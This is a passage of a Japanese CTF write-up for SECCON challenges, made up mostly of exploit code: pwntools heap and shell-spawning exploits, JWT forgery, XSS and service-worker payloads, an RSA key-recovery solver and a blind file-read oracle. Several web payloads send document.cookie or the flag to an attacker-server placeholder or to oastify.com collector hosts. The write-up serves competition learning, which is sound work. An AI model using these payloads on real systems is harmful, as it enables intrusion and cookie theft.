conn.sendlineafter(b'2. Delete', b'1') # update
conn.sendlineafter(b'[a]rray/[v]alue', b'a') # array
conn.sendlineafter(b'input size:', b'9') # array
rec_array(0)
# string
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1') # index0
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array
conn.sendlineafter(b':', b'x'*0x8) # array
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1') # index0
conn.sendlineafter(b'2. Delete', b'2') # delete
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1') # index0
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array
conn.sendlineafter(b':', b'x'*0x8) # array
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2') # index0
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array
conn.sendlineafter(b':', b'y'*0x8) # array
# victim array
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'3') # index0
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'a') # array
conn.sendlineafter(b':', b'8') # array
for i in range(1, 9):
rec_array(i)
# delete 0
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'0') # index0
conn.sendlineafter(b'2. Delete', b'2') # delete
# oob delete
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'9') # index16
conn.sendlineafter(b'2. Delete', b'2') # delete
# oob update
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'9') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array
conn.sendlineafter(b':', str(0xdead)) # array
# exploit
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
payload = b'a'*0x70
payload += p64(10) + p64(0)*2 * 9 + p64(0xfeed0003)
conn.sendafter(b'new string', payload)
# leak heap address
conn.sendlineafter(b'0. Exit', b'2')
conn.recvuntil(b'<I> ')
a = conn.recvline()
heap_base = int(a) - 0x600
print(hex(heap_base))
# exploit2
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
payload = b'a'*0x70
payload += p64(16) + p64(0)*2 * 15 + p64(0xfeed0003)
conn.sendafter(b'new string', payload)
# leak libc address
conn.sendlineafter(b'0. Exit', b'2')
conn.recvuntil(b'<I> ')
a = conn.recvline()
libc_base = int(a) - 0x219c00
print(hex(libc_base))
# exploit3
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
payload = b'a'*0x70
payload += p64(1) + p64(0xfeed0002) + p64(heap_base+ 0x4f0) + p64(0)
payload += p64(0x100) + p64(libc_base + 0x219098)
conn.sendafter(b'new string', payload)
# exploit4
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'3') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
conn.sendlineafter(b'index:', b'0') # index16
conn.sendlineafter(b'2. Delete', b'1') # delete
payload = p64(libc_base + 0xebcf8)
conn.sendafter(b'new string', payload)
conn.interactive()
```
### selfcet
```python=
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
binary = './xor'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "selfcet.seccon.games"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
b *0x00000000004011af
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug([binary], gdbscript=gdbscript)
else:
conn = process([binary])
# conn = process([binary], env={'LD_PRELOAD': ''})
if opt == 'a': gdb.attach(conn)
# exploit
log.info('Pwning')
# input()
payload = b'x'*0x40
payload += p64(0xdeadbeef) + p32(0x00404100) + p32(00) + b'\xa0\x15\x35'
conn.send(payload)
import time
time.sleep(1)
conn.sendline(b'sh\x00')
time.sleep(1)
payload = b'z'*0x20
payload += p64(0xdeadbeef) + p32(0x00404100) + p32(00) + b'\x60\x1d\x32'
conn.send(payload)
time.sleep(1)
conn.sendline(b'ls')
conn.sendline(b'cat flag*')
conn.interactive()
```
## Web
### Bad JWT
algをconstructorにするとJWTの署名が header.payload になる。
これをbase64デコードして再度base64エンコードすればsecretなしに.を含まない署名が作れるので、isAdminを有効にしたJWTを送信すればフラグが出る
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
### eeeeejs
ejsのオプションパラメータcacheにtrueを指定することで、パラメータfilenameがキャッシュobjectのkeyとして参照され、参照された値は関数オブジェクトとして処理され返り値が出力される
```
https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L260-L261
https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L215-L222
https://github.com/mde/ejs/blob/main/lib/utils.js#L195
```
そこで、パラメータfilenameにconstructorを指定することで、指定したview optionsがjson形式で出力される
また、express-xss-sanitizerによりパラメータ値はHTMLが無害化されるが、パラメータ名には無害化が行われないため、パラメータ名にHTMLを挿入することでXSSが可能
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&<script%20src%3D/?filename%3Dconstructor%26settings%5Bview%2Boptions%5D%5Bcache%5D%3Dtrue></script>=x
```
CSPがdefault-src selfではあるが、ejsのオプションパラメータdelimiter,openDelimiter,closeDelimiterを指定することで、ejsタグを任意に変更することが可能であり、ejs構文として有効な範囲で出力を操作することが可能である
これにより、render.dist.jsに任意のJavaScriptコードを挿入しつつ実行可能な出力を作成でき、当該出力をscript要素で参照することでXSSが可能になる
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Balert%25281%2529%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x
```
document.cookieを参照して外部送信するpayloadをbotに送信することで、FLAGを取得できる
・payload生成(nodejs)
```
u = new URL('http://eeeeejs.seccon.games:3000/')
u.searchParams.append('filename', 'render.dist.js')
u.searchParams.append('delimiter', ' ')
u.searchParams.append('settings[view options][openDelimiter]', ' list')
u.searchParams.append('settings[view options][closeDelimiter]', '|| [];')
u.searchParams.append('cb', 'a')
u.searchParams.append('list', '}}});location=`//攻撃者のサーバ/?q=`+document.cookie;a=alert({a(){a=function(){')
console.log(`http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3D${encodeURIComponent(u)}%3E%3C%2Fscript%3E=x`)
```
・payload
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Blocation%253D%2560%252F%252F攻撃者のサーバ%252F%253Fq%253D%2560%252Bdocument.cookie%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x
```
SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}
### Simple Calc
evalでJavaScriptを実行することはできるが、CSPによって /flag の内容をX-FLAGヘッダ付きでリクエストして漏洩することができない。
botはlocalhost:3000でアクセスするのでService Workerが利用できる。
Service Workerが使えればレスポンスを書き換えることができるので、CSPを無効にしてlocalhost:3000上でJavaScriptを実行することができる。
```
payload = `
self.addEventListener('fetch', event => {
if (event.request.url.includes('/foobar')) {
html = "<script>fetch('http://localhost:3000/flag', { headers: {'x-flag': true} }).then(c => c.text()).then(c => navigator.sendBeacon('http://zdg6ysoe5q5gbn7b9c1muhas0j6au3is.oastify.com/?q='+c))</script>";
init = {
headers: {
'Content-Type': 'text/html',
'Content-Security-Policy': "default 'self' 'unsafe-inline'"
}
};
event.respondWith(new Response(html, init));
}
});
document = {getElementById: () => []}`;
navigator.serviceWorker.register(`/js/index.js?expr=${encodeURIComponent(payload)}`).then(() => {
});
setTimeout(() => window.open('/js/foobar'), 1000)
```
SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d}
### Blink
iframe srcdoc内にHTMLを書き込むことができるが、iframe sandboxによりJavaScriptの実行はできない。
DOM Clobberingで sandbox.contentDocument.body.togglePopover を文字列にしてしまえばsandboxを無視してJavaScriptを実行できる。
```
const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);
```
以下のようなHTMLを埋め込めばよい
```
<iframe name=body id=body srcdoc="<a id=togglePopover name=togglePopover href='javscript:alert(1)'>"></iframe>
```
最終payload
```
http://web:3000/#%3Ciframe%20name=body%20id=body%20srcdoc=%22%3Ca%20id=togglePopover%20name=togglePopover%20href='javscript:navigator.sendBeacon(%60http://1y08ju9gqsqiwpsduemofjvullrcf63v.oastify.com/c${document.cookie}%60);location=%60/%60'%3E%22%3E%3C/iframe%3E
```
SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}
## Crypto
### plai\_n\_rsa
$e, d$のみが判明しており, $N$を与えられていないRSA暗号. ヒント情報として$p+q$が与えられている. ただし$p, q$は素数であって$N = pq$をみたす (これは順序と単数の差を除き一意に定まる). すると $\exists k.\ ed - 1 = k\phi(N) = k(N - (p+q) + 1)$である.
仮に$k$が判明した場合$(ed - 1) / k + (p + q) - 1 = N$より$N$を計算できる. $(N, e, d)$の三つ組を持っていればRSAは復号でき, かつ今回は$e, d$は既知である. よって, 今回はこの$k$を特定する方針を取った.
$k = 0$である場合$ed - 1 = 0$であるが, 今回のパラメータでは成立しないことを確認できたため, $k\ne 0$を仮定してよい. 特に以降では$ed\gt 1$を加味し$1\lt k$を仮定する. この場合$ed - k\phi(N) = 1 \iff \frac{e}{k} - \frac{\phi(N)}{d} = \frac{1}{dk}$である.
さて, $\frac{1}{d}$は$2^{-2000}$以下と(整数値に比較して)極めて小さく, $1\lt k$より$\frac{1}{dk}\lt \frac{1}{d}$. よって$\frac{1}{dk}$は無視できる程度に小さく, $\frac{e}{k}$と$\frac{\phi(N)}{d}$との間には整数としての差は存在しないものとして近似できる. $\frac{1}{dk} = 0$と見做して直接近似すれば$e:k = \phi(N):d$, 換言すると$e/k = \phi(N)/d$である.
$\log_2{\phi(N) / d}$の範囲は$\lfloor\log_2 N\rfloor - \log_2 d\leq \log_2 \phi(N) - \log_2 d\lt \lceil\log_2 N\rceil - \log_2 d$と押さえられる. $\log_2 d = 2046.92629\ldots$であることと$2047\lt \log_2 N\lt 2048$を用いてこれを計算すると$0.0737\leq \log_2 \phi(N) - \log_2 d\lt 1.0738$.
ここで近似$e/k = \phi(N)/d$と$e = 65537$を用いると$2^{0.0737}\leq e/k\lt 2^{1.0738}$であり, $31136\lt e/2^{1.0737}\lt k \leq e/2^{0.0737} \leq 62273$が成立. この範囲であれば十分に探索可能な範囲だと判断し, 総当りする方針でコードを書いた. 結果として正しい$k$がその範囲内に入っていることを確認でき, 同時にflagを取得できた.
```python=
# https://github.com/scryptos/scryptoslib
from scryptos import RSA, long_to_bytes
e = 65537
d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
ed1 = e * d - 1
k_cand = []
for k in range(31137, 62274):
if ed1 % k == 0:
k_cand.append(k)
for k in k_cand:
nh1 = ed1 // k
n_cand = nh1 + hint - 1
if n_cand % 2 == 0:
continue
assert e * d - 1 == k * (n_cand - hint + 1)
if pow(2, ed1 + 1, n_cand) != 2:
continue
if pow(12345, ed1 + 1, n_cand) != 12345:
continue
print(n_cand)
print(k)
try:
rsa = RSA(e=e, n=n_cand, d=d)
print(f"{rsa.p = }")
print(f"{rsa.q = }")
print(long_to_bytes(rsa.decrypt(c)))
except e:
continue
"""
Wed Sep 20 16:53:33 JST 2023 ~/Downloads/plai_n_rsa
> time python solve.py
18936616732870557554255699457049036994088317351031093582044489651796044144359529698712480672182437359558661630272417249665217035943220754133618582498039734135246424303516232079007114436837639161342438265471646042323154245299513642971562594716314100461479584511032358469111096620834553074358692898361567626996392480754014528527430527063528495411980101545552758140283448489000764285522023633742607206302091320357111951747209869411759634837407611496564539529290087478404184878780789410417775171025806654571990267737398689184781737215471932050189239540076540385167387692604358256307847323491801551671406351335354645235467
53137
rsa.p = 140573552764401357605823936771184672764694952091387854770288096537249315989269387243337046325021772999912099191923048275883668481142897289319945336527652363201552545434075208107525982286306407537964326105213638452475929618015584070741254785193547854002460568473207120569551244479752690771339874359602083207571
rsa.q = 134709668785336688740094232075457138548685666906833497370062473895464991291896418393514609977944396945672903285621052388595877290685902567635508726291665180001811791533818942657711815876547036154486783239882775197927559341872003453930377937886288600943550921645425619204467260904485344507867895885681646577577
b'SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}'
real 0m0.540s
user 0m0.514s
sys 0m0.028s
"""
```
## Sandbox
### crabox
```python=
import socket
import string
def test_chr(pos, ch):
sk = socket.socket()
sk.connect(('crabox.seccon.games', 1337))
sk.recv(1024)
index = 273+pos
TEMPL = b"""
const _: () = { const fn qw(lhs: &[u8], rhs: &[u8]) -> bool {
if lhs[0x%04x] <= rhs[0] { return false; } true }
const fn ew(lhs: &str, rhs: &str) -> bool {
qw(lhs.as_bytes(), rhs.as_bytes())
}
assert!(ew(include_str!(file!()), "%c"));
};
__EOF__
""" % (index, ord(ch))
sk.send(TEMPL)
res = sk.recv(1024)
sk.close()
return res != b':(\n'
def binarySearch(pos, array):
left, right = 0, len(array)-1
while left <= right:
middle = (left+right) // 2
res = test_chr(pos, array[middle])
#print('test', array[middle], res)
if not res:
right = middle - 1
else:
left = middle + 1
return array[left]
array = [chr(x) if x not in ['"'] else '_' for x in range(0x20, 0x7f)]
for i in range(0, 32):
print(binarySearch(i, array))
```
Flag: `SECCON{ctfe_i5_p0w3rful}`